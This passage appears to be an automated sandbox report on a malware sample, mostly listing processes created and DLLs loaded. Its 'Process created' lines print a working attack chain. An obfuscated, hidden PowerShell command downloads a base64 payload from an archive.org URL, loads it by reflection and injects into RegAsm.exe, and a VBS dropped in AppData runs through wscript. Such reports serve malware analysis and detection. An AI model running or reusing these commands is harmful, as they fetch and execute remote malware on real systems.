ICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rfrvbpim\rfrvbpim.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nicemeetingsofpictureclearthingstob.Vbs"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES9FA0.tmp" "c:\Users\user\AppData\Local\Temp\rfrvbpim\CSCF3108577CD134F5DA2E7D7F2BD5C877.TMP"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdnJysnWUZ1cmwgPSAnKydDJysnTkEnKydodHQnKydwcycrJzovJysnL2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdmUuJysnb3JnLzI0LycrJ2l0JysnZW1zLycrJ2RldGEnKydoLW4nKydvJysndGUtJysndi9EZXRhaE4nKydvdGVWJysnLicrJ3R4dENOQScrJztnWUZiYXNlJysnNjRDb250ZW50ICcrJz0gKE5lJysndycrJy1PYmonKydlYycrJ3QnKycgU3lzdCcrJ2VtLk4nKydldCcrJy5XZWJDbGllbicrJ3QpJysnLkRvd25sb2FkJysnU3RyaW5nKGdZRicrJ3VybCknKyc7ZycrJ1lGYmluYXInKyd5JysnQ29udGVudCA9ICcrJ1tTeXN0ZW0nKycuQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpbmcnKycoZ1knKydGYicrJ2FzZScrJzY0Q29udCcrJ2UnKyduJysndCk7ZycrJ1lGYScrJ3MnKydzJysnZW1ibCcrJ3kgPSBbUmVmbCcrJ2VjJysndGknKydvbi5BJysnc3MnKydlbWJseScrJ10nKyc6OicrJ0xvYWQoZ1lGYmknKyduYXJ5JysnQ29uJysndGVudCcrJyk7Z1lGdHlwZSA9IGdZRmEnKydzc2VtJysnYmx5LkcnKydldFR5cGUnKycoQ05BUnVuUEUnKycuSCcrJ29tJysnZUNOJysnQSk7Z1lGJysnbWUnKyd0aCcrJ29kID0gZ1lGdCcrJ3lwZS5HZXRNZXRob2QoQ05BVicrJ0FJQ05BKTtnWUZtZXRob2QuSW52b2tlKGdZRicrJ251bGwsIFtvYmplYycrJ3RbJysnXV1AKENOQXR4dC4nKydBWlBQSEMvNTQnKyczLzg0MS4nKycyMy44NjEnKycuJysnNDAxLy86cHR0aENOQSAsIENOQWRlc2F0aXZhZG9DTkEgLCBDTkFkZXNhdGl2YScrJ2RvQ04nKydBICwnKycgQ04nKydBJysnZGVzYXRpdicrJ2EnKydkb0NOQSxDJysnTkFSZScrJ2dBc21DTkEnKycsQycrJ05BQ05BJysnKSknKS5yRVBsYUNFKCdDTkEnLFtzdHJJbmddW0NIYXJdMzkpLnJFUGxhQ0UoJ2dZRicsJyQnKSB8IC4gKCAkZU5WOkNPbXNwRWNbNCwyNiwyNV0tak9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('g'+'YFurl = '+'C'+'NA'+'htt'+'ps'+':/'+'/ia600100'+'.us.'+'archive.'+'org/24/'+'it'+'ems/'+'deta'+'h-n'+'o'+'te-'+'v/DetahN'+'oteV'+'.'+'txtCNA'+';gYFbase'+'64Content '+'= (Ne'+'w'+'-Obj'+'ec'+'t'+' Syst'+'em.N'+'et'+'.WebClien'+'t)'+'.Download'+'String(gYF'+'url)'+';g'+'YFbinar'+'y'+'Content = '+'[System'+'.Con'+'vert'+']::FromBase64S'+'t'+'ring'+'(gY'+'Fb'+'ase'+'64Cont'+'e'+'n'+'t);g'+'YFa'+'s'+'s'+'embl'+'y = [Refl'+'ec'+'ti'+'on.A'+'ss'+'embly'+']'+'::'+'Load(gYFbi'+'nary'+'Con'+'tent'+');gYFtype = gYFa'+'ssem'+'bly.G'+'etType'+'(CNARunPE'+'.H'+'om'+'eCN'+'A);gYF'+'me'+'th'+'od = gYFt'+'ype.GetMethod(CNAV'+'AICNA);gYFmethod.Invoke(gYF'+'null, [objec'+'t['+']]@(CNAtxt.'+'AZPPHC/54'+'3/841.'+'23.861'+'.'+'401//:ptthCNA , CNAdesativadoCNA , CNAdesativa'+'doCN'+'A ,'+' CN'+'A'+'desativ'+'a'+'doCNA,C'+'NARe'+'gAsmCNA'+',C'+'NACNA'+'))').rEPlaCE('CNA',[strIng][CHar]39).rEPlaCE('gYF','$') \| . ( $eNV:COmspEc[4,26,25]-jOiN'')"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
